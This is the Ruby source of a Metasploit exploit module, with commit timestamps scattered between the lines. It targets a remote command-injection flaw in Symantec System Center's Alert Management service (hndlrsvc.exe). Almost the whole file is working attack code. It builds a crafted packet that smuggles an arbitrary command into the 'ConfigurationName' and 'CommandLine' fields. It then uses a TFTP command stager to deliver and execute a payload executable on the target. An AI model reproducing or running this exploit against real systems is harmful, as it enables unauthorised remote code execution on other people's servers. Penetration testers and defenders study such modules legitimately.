2011-08-19 18:35:29 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2011-08-19 18:35:29 +00:00
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##
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require 'msf/core'
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Exploit::Remote
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2011-08-19 18:35:29 +00:00
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2013-08-30 21:28:54 +00:00
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Rank = ExcellentRanking
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2014-02-08 00:46:19 +00:00
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include Msf::Exploit::CmdStager
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2013-08-30 21:28:54 +00:00
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include Msf::Exploit::Remote::Tcp
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2015-05-06 02:25:06 +00:00
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include Msf::Exploit::EXE
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2013-08-30 21:28:54 +00:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
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'Description' => %q{
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Symantec System Center Alert Management System is prone to a
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remote command-injection vulnerability because the application fails
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to properly sanitize user-supplied input.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '66807'],
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[ 'BID', '41959' ],
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[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
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],
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'Targets' =>
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[
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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]
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],
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'Privileged' => true,
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'Platform' => 'win',
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2014-02-08 23:11:47 +00:00
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'CmdStagerFlavor' => 'tftp',
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2013-08-30 21:28:54 +00:00
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 26 2010'))
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register_options(
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[
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Opt::RPORT(38292),
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OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
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], self.class)
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end
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def windows_stager
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print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
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2014-06-28 21:40:49 +00:00
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execute_cmdstager({ :temp => '.' })
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2015-05-06 02:25:06 +00:00
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@payload_exe = generate_payload_exe
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2013-08-30 21:28:54 +00:00
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print_status("Attempting to execute the payload...")
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execute_command(@payload_exe)
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end
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def execute_command(cmd, opts = {})
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connect
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if ( cmd.length > 128 )
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fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!")
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end
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string_uno = Rex::Text.rand_text_alpha_upper(11)
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string_dos = Rex::Text.rand_text_alpha_upper(rand(4) + 5)
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packet = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
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packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
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packet << "\xe8\x03\x00\x00"
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packet << 'PRGXCNFG'
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packet << "\x10\x00\x00\x00"
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packet << "\x00\x00\x00\x00\x04"
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packet << 'ALHD\F'
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packet << "\x00\x00\x01\x00\x00"
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packet << "\x00\x01\x00\x0e\x00"
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packet << 'Risk Repaired'
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packet << "\x00\x25\x00"
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packet << 'Symantec Antivirus Corporate Edition'
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packet << "\x00\xf9\x1d\x13\x4a\x3f"
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packet << [string_uno.length + 1].pack('v') + string_uno
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packet << "\x00\x08\x08\x0a"
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packet << "\x00" + 'Risk Name'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x0a\x00"
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packet << 'File Path'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x11\x00"
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packet << 'Requested Action'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x0e\x00"
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packet << 'Actual Action'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x07\x00"
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packet << 'Logger'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x05\x00"
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packet << 'User'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x09\x00"
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packet << 'Hostname'
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packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
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packet << "\x00\x08\x13\x00"
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packet << 'Corrective Actions'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x00\x07\x08\x12\x00"
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packet << 'ConfigurationName'
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packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
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packet << "\x00" + cmd
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packet << "\x00\x08\x0c\x00"
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packet << 'CommandLine'
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packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
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packet << "\x00" + cmd
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packet << "\x00\x08\x08\x00"
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packet << 'RunArgs'
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packet << "\x00\x04\x00\x02\x00"
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packet << "\x20\x00\x03\x05\x00"
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packet << 'Mode'
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packet << "\x00\x04\x00\x02\x00\x00\x00"
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packet << "\x0a\x0d\x00"
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packet << 'FormatString'
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packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
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packet << 'ConfigurationName'
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packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
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packet << 'HandlerHost'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00" * packet.length
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sock.put(packet)
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select(nil,nil,nil,3)
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disconnect
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end
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def exploit
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2016-05-18 05:13:40 +00:00
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if !datastore['CMD'].blank?
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2013-08-30 21:28:54 +00:00
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print_status("Executing command '#{datastore['CMD']}'")
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execute_command(datastore['CMD'])
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return
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end
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case target['Platform']
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when 'win'
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windows_stager
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else
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fail_with(Failure::Unknown, 'Target not supported.')
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2016-05-18 05:13:40 +00:00
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end
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2013-08-30 21:28:54 +00:00
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handler
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end
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2011-08-19 18:35:29 +00:00
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end
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